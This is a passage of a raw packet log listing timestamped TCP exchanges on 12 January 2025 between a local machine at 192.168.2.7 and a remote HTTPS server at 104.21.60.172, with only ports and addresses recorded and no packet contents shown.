Jan 12, 2025 09:26:28.226617098 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.226629019 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.226725101 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.226735115 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.226747990 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.226813078 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.226813078 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.226819038 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.226852894 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.226890087 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.226903915 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.226955891 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.227005959 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.227005959 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.227011919 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.227062941 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.227116108 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.227116108 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.227128029 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.227181911 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.227215052 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.227219105 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.227232933 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.227289915 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.227293968 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.227472067 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.227528095 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.227528095 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.227576971 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.227634907 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.227713108 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.227771997 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.227827072 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.227873087 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.227960110 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.227960110 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.227965117 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.228003025 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.228039980 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.228044033 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.228131056 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.228226900 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.228276968 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.228349924 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.228349924 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.228354931 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.228418112 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.228460073 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.228548050 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.228548050 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.228553057 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.228595018 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.228641987 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.228760958 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.228761911 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.228768110 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.228784084 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.228823900 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.228938103 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.228986025 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.228995085 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.228995085 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.228995085 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.229015112 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.229131937 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.229137897 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.229154110 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.229250908 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.229250908 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.229274035 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.229304075 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.229377985 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.229377985 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.229382992 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.229441881 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.229448080 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.229468107 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.229505062 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.229526997 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.229526997 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.229538918 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.229608059 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.229657888 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.229717970 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.229722977 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.229784012 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.229789972 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.229804993 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.229835987 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.229861021 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.229866028 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.229944944 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.229944944 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.229971886 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230022907 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.230057955 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.230102062 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230145931 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230218887 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.230218887 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.230223894 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230281115 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.230281115 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230303049 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230340958 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230355978 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.230361938 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230423927 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.230423927 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.230475903 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230593920 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.230597973 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230624914 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230654955 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.230659008 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230669975 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230719090 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.230789900 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.230803967 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230827093 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230856895 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230925083 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.230925083 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.230931044 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.230986118 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.230993986 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231014967 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231039047 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231118917 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.231120110 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.231126070 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231165886 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231211901 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231219053 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.231219053 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.231236935 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231332064 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.231332064 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.231391907 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231434107 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231542110 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.231542110 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.231547117 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231565952 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231605053 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231715918 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231719971 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.231720924 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.231743097 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231772900 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231909037 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231954098 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.231961012 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.231961012 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.231961012 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.231977940 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232049942 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.232103109 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232147932 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232223034 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.232223034 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.232229948 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232249022 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232295036 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232358932 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.232358932 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.232364893 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232431889 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.232435942 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232458115 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232489109 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232554913 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.232554913 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.232561111 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232614994 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.232641935 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232697964 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232738972 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.232743025 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232789040 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232819080 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.232824087 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232834101 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232851028 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.232913971 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.232918024 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232949972 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.232980967 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.232995033 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233019114 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233072042 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233072042 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233072042 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233153105 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233187914 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233254910 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233254910 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233261108 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233280897 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233323097 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233328104 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233328104 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233345032 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233405113 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233405113 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233459949 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233509064 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233546972 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233551025 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233563900 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233618975 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233644009 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233692884 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233731031 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233731031 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233736992 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233794928 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233834982 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233885050 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233885050 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233890057 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233906984 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233926058 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233969927 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233969927 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233969927 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.233977079 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.233998060 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234011889 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.234056950 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234083891 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.234087944 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234112978 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234132051 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234154940 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.234194994 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234205961 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.234205961 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.234210968 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234245062 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234257936 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234298944 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234299898 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.234299898 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.234313965 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234343052 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.234347105 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234369040 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234375000 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.234379053 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234407902 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234414101 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234427929 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.234427929 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.234431982 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234446049 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234464884 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234513044 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.234518051 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234532118 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.234535933 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234549046 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234590054 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.234590054 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234602928 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.234683037 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.234683037 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.234683037 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.235814095 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.255259037 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.255292892 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.255357981 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.255364895 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.255378008 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.255408049 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.255445004 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.255512953 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.255512953 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.255518913 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.255635023 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.255677938 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.255696058 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.255702972 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.255762100 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.255762100 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.312139034 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.312206984 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.312365055 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.312365055 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.312374115 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.312441111 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.312478065 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.312483072 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.312503099 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.312589884 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.312589884 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.312622070 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.312664032 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.312716007 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.312721014 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.312777042 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.312777042 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.312783957 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.312814951 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.312855005 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.312855005 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.312892914 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.312896967 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.312918901 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.312999964 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.313007116 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.313024044 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.313076019 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.313086987 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.313086987 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.313092947 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.313142061 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.342449903 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.342502117 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.342556953 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.342562914 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.342617989 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.342703104 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.342750072 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.342782974 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.342787981 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.342827082 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.342895031 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.343111038 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.343225956 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.343229055 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.343250990 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.343282938 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.343291044 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.343349934 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.343358994 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.343431950 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:28.394326925 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.394376993 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:28.394411087 CET	49727	443	192.168.2.7	104.21.60.172
